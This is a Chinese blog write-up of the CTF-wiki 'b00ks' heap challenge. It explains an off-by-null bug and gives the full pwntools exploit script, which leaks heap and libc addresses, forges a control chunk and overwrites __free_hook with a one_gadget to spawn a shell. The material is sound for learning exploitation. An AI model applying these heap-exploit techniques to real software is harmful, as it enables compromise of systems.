这是wiki在介绍off by null 演示的那道经典题目

第一步,分析代码

image.png
堆题的典型例子,菜单模板。前面我们根据每个函数的不同功能对函数进行命名。
最主要分析完add函数和print函数我们就可以知道整个流程,存储的形式。
image.png
image.png
image.png
image.png
这两个理清,其他函数都能理清了。

二 漏洞

image.png
image.png
存储名字的长度只有32字节,所以最后会读到控制堆块的空间。

三 利用

1.存在off by null 漏洞,第一步输入名字的时候就会覆盖到下一控制堆块,然后控制堆块存放堆块地址。所以我们先输入名字输满,然后创造一个块,\x00就会被覆盖然后打印出来就会把堆的地址打印出来。
2.通过调试,我们可以知道控制堆块的偏移,就可以知道下一个控制堆块的地址。
3.我们再申请一个大于128kb的堆空间,因为会调用mmp,然后mmp之后是跟libc息息相关的,为接下来攻击做准备
4.我们发现函数里还有一个changename的函数,再利用它把name填满,让控制堆块的地址刚好指向我们的description地址
5.通过description我们伪造假的控制堆块,就是第二个控制堆块。
6.通过打印就可以把mmp得到的堆块的地址打印出来
7.然后得到libc,再去找free_hook()函数进行
我就还是放wiki的exp好了,换个其他博主看来的好了,我反正没调试成功,前几天刚好放了几天假期,打了好几天游戏,这道题目就拖了很久,先告一段落吧,以后再来调试调试,其实堆的题目,主要是漏洞的难找(个人感觉)这要很好的c语言功底,然后这个很需要锻炼!!!!然而我的功底很差,我相信以后会好起来的。

  1. from pwn import *
  2. context.log_level = 'debug'
  3. binary = './b00ks'
  4. elf = ELF(binary)
  5. libc = elf.libc
  6. local = 1
  7. if local:
  8. p = process(binary)
  9. else:
  10. p = remote('')
  11. def add(name_size, name, description_size, description):
  12. p.sendlineafter('> ', '1')
  13. p.sendlineafter(': ', str(name_size))
  14. p.sendlineafter(': ', name)
  15. p.sendlineafter(': ', str(description_size))
  16. p.sendlineafter(': ', description)
  17. def free(index):
  18. p.sendlineafter('> ', '2')
  19. p.sendlineafter(': ', str(index))
  20. def edit(index, description):
  21. p.sendlineafter('> ', '3')
  22. p.sendlineafter(': ', str(index))
  23. p.sendlineafter(': ', description)
  24. def show():
  25. p.sendlineafter('> ', '4')
  26. def change_name(name):
  27. p.sendlineafter('> ', '5')
  28. p.sendlineafter(': ', name)
  29. gdb.attach(p)
  30. p.sendlineafter(': ', 'a'*0x20)
  31. add(0x90, 'aaaa', 0x90, 'bbbb')
  32. show()
  33. p.recvuntil('a'*0x20)
  34. book1_control_ptr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
  35. book2_control_ptr = book1_control_ptr + 0x30
  36. success('book1_control_ptr -> {}'.format(hex(book1_control_ptr)))
  37. add(0x21000, 'cccc', 0x21000, 'dddd')
  38. payload = 'a' * 0x40 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
  39. edit(1, payload)
  40. pause()
  41. change_name('a'*0x20)
  42. show()
  43. p.recvuntil('Name: ')
  44. book2_name_ptr = u64(p.recv(6).ljust(8, '\x00'))
  45. libc_base = book2_name_ptr - 0x5ab010
  46. success('book2_name_ptr -> {}'.format(hex(book2_name_ptr)))
  47. free_hook = libc_base + libc.sym['__free_hook']
  48. one_gadget = libc_base + 0x4527a
  49. system = libc_base + libc.sym['system']
  50. bin_sh = libc_base + libc.search('/bin/sh').next()
  51. edit(1, p64(bin_sh) + p64(free_hook))
  52. # pause()
  53. edit(2, p64(one_gadget))
  54. # pause()
  55. free(2)
  56. p.interactive()